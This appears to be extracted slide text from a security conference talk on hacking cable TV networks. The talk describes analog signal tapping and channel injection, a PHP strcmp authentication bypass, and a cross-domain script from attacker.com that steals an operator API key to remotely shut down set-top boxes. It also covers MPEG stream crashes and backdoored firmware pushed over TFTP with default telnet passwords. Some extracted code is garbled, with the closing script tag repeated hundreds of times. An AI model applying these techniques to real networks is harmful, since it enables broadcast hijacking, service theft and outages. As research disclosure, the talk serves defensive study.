• Go here watch the video, do it now.

https://www.youtube.com/watch?v=SLQmQwvJU78





Hacking your Cable TV Network

All Demo Videos Goes here:

http://www.garage4hackers.com/ entry.php?b=2830

TV & Media



Today, we will Hack...

- Analogue Cable TV
- DVB-C
- DVB-T [Satellite TV] X
- IPTV Intro

Rahul Sasi

- Security Engineer
- Speaker.

HITB [KL], BlackHat [US Arsenal], Cocon (2011, 2012, 2013), Nullcon (2011, 2012, 2013), HITB (AMS 2012), BlackHat (EU 2012), EKoparty (Argentina), CanSecwest(Canada 2013), HITcon(Taiwan)

- One of the Admin members Garage4Hackers.com
- https://twitter.com/fb1h2s

Garage4Hackers.com



Agenda

• Analog Cable Networks.

- > Architecture
- Introduction and Attacks

• Digital Cable Networks .

- Migration form Analog to Digital
- Digital Network architecture
- Application and Network layer bugs





Analog Cable Network The Basics

- FM Modulation And Broadcasting [TV Station]
- Antenna Farm [Cable Operator End]
- IRD-Integrated Receiver Decoders.
- Local cable network.
- TV









One IRD per Channel



Modulator to QAM





QAM: Quadrature amplitude modulation

- Analog + Digital Modulation
- Modulates the amplitudes of analog waves, using AM
- Modulates the amplitudes of digital waves, using ASK
- Modulated waves are summed
- Amplified and distributed via optic fiber

Source: http://en.wikipedia.org/wiki/Quadrature amplitude modulation

QAM Device



The transmission channel is Unencrypted

Cable Operation

- Each channel received would be under a particular frequency.
- Cable Operators could modulate to any frequency.
- FDMA is used to sent all the different channels to users.
- The transmission medium is Radio over Fiber.
- TV channels tunes in individual frequency and decodes them to audio and video.



MITM:~ Local Cable Operator\$

- Easy MITM: No Encryption in Analog Network
- Physical access = Free cable connection.

Or

• You can even Broadcast your own signals.

DTK: Our MITM unit Operator end:~ Devices used



- Optical Receiver
- Optical to Coaxial
- RF modulator
- Amplifier
- Signal Tap

Total: 80 usd

Our Garage



Local cable operator

- Fiber optic is fast and reliable but expensive.
- Doing a Man-In-Middle on Fiber optic is expensive [atleast for us].
- Local cable admins convert optic input to co-axial.
- Coaxial cable could be easily tapped.

Indoor Not

Device:~ optical to coaxial



MITM:~ Tap and inject signals



The Process:~ For example

- NDTV would be in frequency A and Times Now on frequency B.
- Both these frequency signals are sent over coaxial cable.
- TV knows how to decode each frequencies.
- So channel no 1 would be pre-set to display HBO[Frequency A] and channel no 2 would be set to display "Star Movies" [Frequency B].
- As a hacker if I need to replace channels, one possibility is to do a man in the middle attack and modulate my videos with Star Movies frequency.

MITM demo

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Avoiding Collision

- Let us shut down the original signal source.
- Shutting down the entire signal source will stop all the channels.
- Signal cutter to the rescue Block NDTV Only.
- Introduce our Video in NDTV Frequency



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Digital TV Introduction

- In December 2011, the Lok Sabha passed Cable Television Networks (Regulation) Amendment Bill.
- In the Act the addressable system may only transmit encrypted signals.
- So with this Act it is mandatory to install set-top boxes on every house for decoding the transmitted signals.

Digital TV Introduction

- Cable TV & Customers Upgrade to DVBC or IP network which can now transmit encrypted signals.
- DVBC standard [Conditional Access] is an access control mechanism.
- IPTV Networks are traditional TCP/IP Stack.
- Now Signals are encrypted or scrambled before sent on wire.
- A set-top box device is needed to de-scramble the output
- STB decodes the scrambled input and produces the TV out.

STB :~ Set-Top Box

- Does QAM demodulation .
- DVB-C type set top boxes work on co-axial cable.
- IPTV set-top boxes need IPTV networks.
- IPTV boxes allows internet connectivity .
- Each STB has a unique identity either using MAC address or using a smart card.

STB Unique Identity

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DVB-C Set-top box

- Works on Digital Video Broadcasting standard, the same standard is used for satellite broadcasting.
- Works based on [64,128, 256 QAM] modulation, a combination of amplitude and phase modulation.
- DVB-C is used for broadcasting Audio, Video signals.

Source: Understanding Digital Television: An Introduction to DVB Systems with

IPTV

- IP Set-Top Boxes enable Video Services connected through IP network.
- Protocols like http, rtsp, igmp are used in streaming the video.
- IPTV can carry Audio, video and data over the wire aka [Triple play].
- Internet Access is possible using IPTV.
Digital Cable Overall

- Satellite Content
- IRD decoders
- ← Source [Head End].
- DRM Server
- Middleware Servers
 - Video on Demand Server
 - Billing Server
- Triple Play Convergence

🗲 Home Network

- QAM Modulator
- Network Infrastructure
 - Micro PoP
 - Access Switch
- Customer Premise Equipment
 - Set Top Box

Digital Cable Network :~



Attacking Digital Network



Attack Vectors

Management Network

Billing Server [Web Application Bug]

Attacking Set-Top boxes

- Firmware Attack [Application Bug]
- Protocol Attacks [Protocol Implementation Bug]

Management Server [Middleware]

- Provides Billing and Customer Service.
- Attacks on Middleware are possible in both DVB-C and IPTV networks

Locating the Mother Program

- Network fingerprinting Find IPTV Management service.
- Some are Internet facing !!

Middleware Billing Server Hijack

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Please don't ask how 🙂

Bug 1:~ STB Hijack

- Application allows one operator to transfer STB to another operator.
- This option lists all Existing operators.
- Transfer option based on an Access Key.
- The Access key implementation was flawed.

Spot the Bug

Old bug PHP < 5.3.* : Passing an array will bypass the check.

<?php \$ \$apikey = "select api_key from apis where username=.'mysql escape(\$username)'"; \$authenticated = strcmp(\$apikey, \$ GET['key']); if (\$authenticated == 0) { print "Logged IN !"; } else { pbp PHP: strcmp - Manual print "wrong API!"; in1.php.net/strcmp strcmp("foo", array()) => NULL + PHP Warning ?>

Voila: IPTV Management Console

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Bug 2: Cable TV Remote shutdown

- Cable TV Operators control Clients via **UAKEY**.
- This is accomplished via API Keys specific to the logged in admin.
- The implementation was flawed.
- The bug allowed a remote cable operator visiting a malicious webpage to remotely shutdown all Digital Tv instances.

API Key Implementation

<script src="load_secrets.js"></script>

They had some pretty cool anti-stealing code as well.

```
function checkUrl()
{
  var url = get_current_url();
  return url.match(url+'$') == 'flappybirds.com';
}
if(checkUrl())
{
  var api_key = "77d11aea20ff61c6d1e23f044";alert(api_key);
  populateFormFields(super_secret); // Injects this token into the hidden input fields
} else{
  alert('Bad Domain !');
}
```

Lets do some cross-domain magic

- Attacker can load, <script src="load_secrets.js"></script>
- But, checkAdmin() returns false.
- Attacker can bypass this using,

```
// From attacker.com
<script>
String.prototype.match = function()
{
    return ["flappybirds.com"];
}
</script>
<script src="http://cable-tv.com/api_keys/load_secrets.js"></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></scrip
```

Demo Video: Remote

All Demo Videos Goes here:

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Remote Denial of Service

All Demo Videos Goes here:

http://www.garage4hackers.com/ entry.php?b=2830

MITM in Digital Networks:

Attacking Set-Top boxes

Firmware Attack (1) [MPEG Parsing Bugs]
 Firmware Attack (2) [Application Bug]

The transmission channel is **Encrypted**

DVB Transport stream Working

- DVB in Action:
 - Provide Audio : Video streams to TV (Transport Stream).
 - Provide Internet Connection [IP over DVB/MPEG].
 - Can provide multiple channels in a single stream.
 - Payload of a Stream = [Audio + Video + Stream Info]
 - Stream Info = Ex : Program Association Table
- Program Association Table provide:
 - PID values for (TS) packets corresponding (PMT) .
 - PID stands for Packet Identifier .
 - PMT (Program Map Table) provide location of cells that make up each stream.

Program Association Table:



[Transport Stream Structure]

- DVB-C uses MPEG-2 TS [Transport Streams].
- It transmits multiple [muxed multiplexed] channels [A : V] .
- (MPEG TS) encapsulates all data streams in cells of 188 bytes .
- 4 byte header + 184 byte payload = 188 byte MPEG TS.
- DVB-CSA is the symmetric cipher used to protect content of MPEG2 TS.



DVB-CSA Scrambling Algorithm

- DVB-CSA is the symmetric cipher used to protect content of MPEG2 TS.
- DVB-CSA works in 2 passes.



Fig. 1. DVB-CSA structure

Taking care of Encryption problem:

MITM Fuzzing breaking Encryption:

- The Transport Scrambling [2 bits] in TS header indicates whether the packet is encrypted or unencrypted.
- If both bits are set to zero , there is no scrambling.
- If one of the two is not zero they payload part is scrambled.
- Most DVB STB implementations use this filed to detect scrambling.



This way you can introduce Unencrypted cells to DVBC stream and make STB parse them.

Bug 3: STB DVB MPEG stream parsing Segfault.

- SIGSEGV due to buffer overflow.
- Buffer over flow due to memory overwrite
- This bug would cause the STB to restart .

Demo: Poc crashing STB:

All Demo Videos Goes here:

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STB Firmware Update

- STB boots up and authenticates to Home gateway.
- Checks a middleware server for updates, if any available download it via TFTP .
- Reboots and install new firmware.

STB Bootup: Video

All Demo Videos Goes here:

http://www.garage4hackers.com/ entry.php?b=2830

Middleware server used to push STB Updates

CSBL Lib Ver:02.02.01.01 Build Date:Sep 20 2011 Current SW Ver: 103

Downloading

99%

Preset Telnet passwords.

- Telnet is enabled on most of these devices with a default password.
- By reversing the firmware we can locate passwords, login and trigger the TFTP firmware update.

save fware from tftp attacker upgrade1.0 to flash

Backdoor Firmware:~ Video

All Demo Videos Goes here:

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Thank You !!

Thanks to Ahamed Nafeez

- Security Engineer
- Client side and network security
- blog.skepticfx.com
- @skeptic_fx

Thanks to Mrityunjay Gautam

https://twitter.com/mangekyon



Questions ?